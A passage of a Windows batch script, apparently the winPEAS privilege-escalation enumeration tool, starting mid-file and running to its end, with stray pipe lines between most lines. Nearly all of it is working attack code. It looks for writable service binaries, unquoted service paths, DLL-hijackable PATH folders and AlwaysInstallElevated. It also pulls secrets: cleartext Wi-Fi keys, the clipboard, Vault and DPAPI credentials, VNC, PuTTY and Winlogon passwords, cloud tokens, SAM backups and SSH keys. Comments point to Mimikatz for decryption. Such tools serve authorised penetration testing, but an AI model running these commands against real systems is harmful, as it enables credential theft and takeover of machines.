reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:AVSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||
) else (
|
||||
powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
|
||||
)
|
||||
ECHO.Checking for defender whitelisted PATHS
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:PSSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings"
|
||||
ECHO.PowerShell v2 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul
|
||||
ECHO.PowerShell v5 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul
|
||||
ECHO.Transcriptions Settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul
|
||||
ECHO.Module logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul
|
||||
ECHO.Scriptblog logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul
|
||||
ECHO.
|
||||
ECHO.PS default transcript history
|
||||
dir %SystemDrive%\transcripts\ 2>nul
|
||||
ECHO.
|
||||
ECHO.Checking PS history file
|
||||
dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:MountedDisks
|
||||
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
|
||||
ECHO. [i] Maybe you find something interesting
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
wmic logicaldisk get caption
|
||||
) else (
|
||||
fsutil fsinfo drives
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:Environment
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT"
|
||||
ECHO. [i] Interesting information?
|
||||
ECHO.
|
||||
set
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
|
||||
IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
|
||||
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
|
||||
icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
ECHO. [i] Checking directory permissions of running processes (DLL injection)
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
|
||||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
|
||||
for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
CALL :T_Progress 2
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
CALL :T_Progress 2
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
CALL :T_Progress 2
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:NetworkShares
|
||||
CALL :ColorLine "%E%32m[*]%E%97m NETWORK"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES"
|
||||
net share
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkInterfaces
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INTERFACES"
|
||||
ipconfig /all
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkUsedPorts
|
||||
CALL :ColorLine " %E%33m[+]%E%97m USED PORTS"
|
||||
ECHO. [i] Check for services restricted from the outside
|
||||
netstat -ano | findstr /i listen
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkFirewall
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FIREWALL"
|
||||
netsh firewall show state
|
||||
netsh firewall show config
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ARP
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ARP"
|
||||
arp -A
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkRoutes
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ROUTES"
|
||||
route print
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsHostsFile
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Hosts file"
|
||||
type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
|
||||
CALL :T_Progress 1
|
||||
|
||||
:DNSCache
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE"
|
||||
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WifiCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
|
||||
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
net user %USERNAME% /domain 2>nul
|
||||
whoami /all
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:BasicUserInfoUsers
|
||||
CALL :ColorLine " %E%33m[+]%E%97m USERS"
|
||||
net user
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoGroups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m GROUPS"
|
||||
net localgroup
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoAdminGroups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS"
|
||||
REM seems to be localised
|
||||
net localgroup Administrators 2>nul
|
||||
net localgroup Administradores 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoLoggedUser
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS"
|
||||
quser
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:KerberosTickets
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets"
|
||||
klist
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CurrentClipboard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||
ECHO. [i] Any passwords inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:ServiceVulnerabilities
|
||||
CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES"
|
||||
:::sysinternals external tool
|
||||
::ECHO.
|
||||
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER"
|
||||
::ECHO. [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
|
||||
::ECHO. [i] If accesschk.exe is not in PATH, nothing will be found here
|
||||
::ECHO. [i] AUTHETICATED USERS
|
||||
::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
|
||||
::ECHO. [i] EVERYONE
|
||||
::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
|
||||
::ECHO. [i] BUILTIN\Users
|
||||
::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||||
::ECHO. [i] TODOS
|
||||
::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
|
||||
::ECHO. [i] %USERNAME%
|
||||
::accesschk.exe -uwcqv %username% * /accepteula 2>nul
|
||||
::ECHO.
|
||||
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *"
|
||||
::ECHO. [i] Check for weird service permissions for unexpected groups"
|
||||
::accesschk.exe -uwcqv * /accepteula 2>nul
|
||||
CALL :T_Progress 1
|
||||
ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do (
|
||||
for /f "tokens=1 delims= " %%b in ("%%a") do (
|
||||
set "svcpath=%%b"
|
||||
set "svcpath=!svcpath:~1,-1!"
|
||||
if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:UnquotedServicePaths
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
|
||||
ECHO.
|
||||
::CALL :T_Progress 1
|
||||
|
||||
:PATHenvHijacking
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsCredentials
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
dir /b/a %appdata%\Microsoft\Credentials\ 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.
|
||||
ECHO.Looking inside %localappdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.
|
||||
|
||||
:UnattendedFiles
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Unattended files"
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists.
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists.
|
||||
IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists.
|
||||
IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:SAMSYSBackups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups"
|
||||
IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists.
|
||||
IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:McAffeeSitelist
|
||||
CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml"
|
||||
cd %ProgramFiles% 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd %ProgramFiles(x86)% 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd "%windir%\..\Documents and Settings" 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd %windir%\..\Users 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:GPPPassword
|
||||
CALL :ColorLine " %E%33m[+]%E%97m GPP Password"
|
||||
cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
|
||||
cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:CloudCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials"
|
||||
cd "%SystemDrive%\Users"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
|
||||
cd "%windir%\..\Documents and Settings"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
|
||||
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\TightVNC\Server
|
||||
reg query HKCU\Software\TightVNC\Server 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
|
||||
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys
|
||||
CALL :T_Progress 2
|
||||
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
|
||||
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
|
||||
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
|
||||
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini 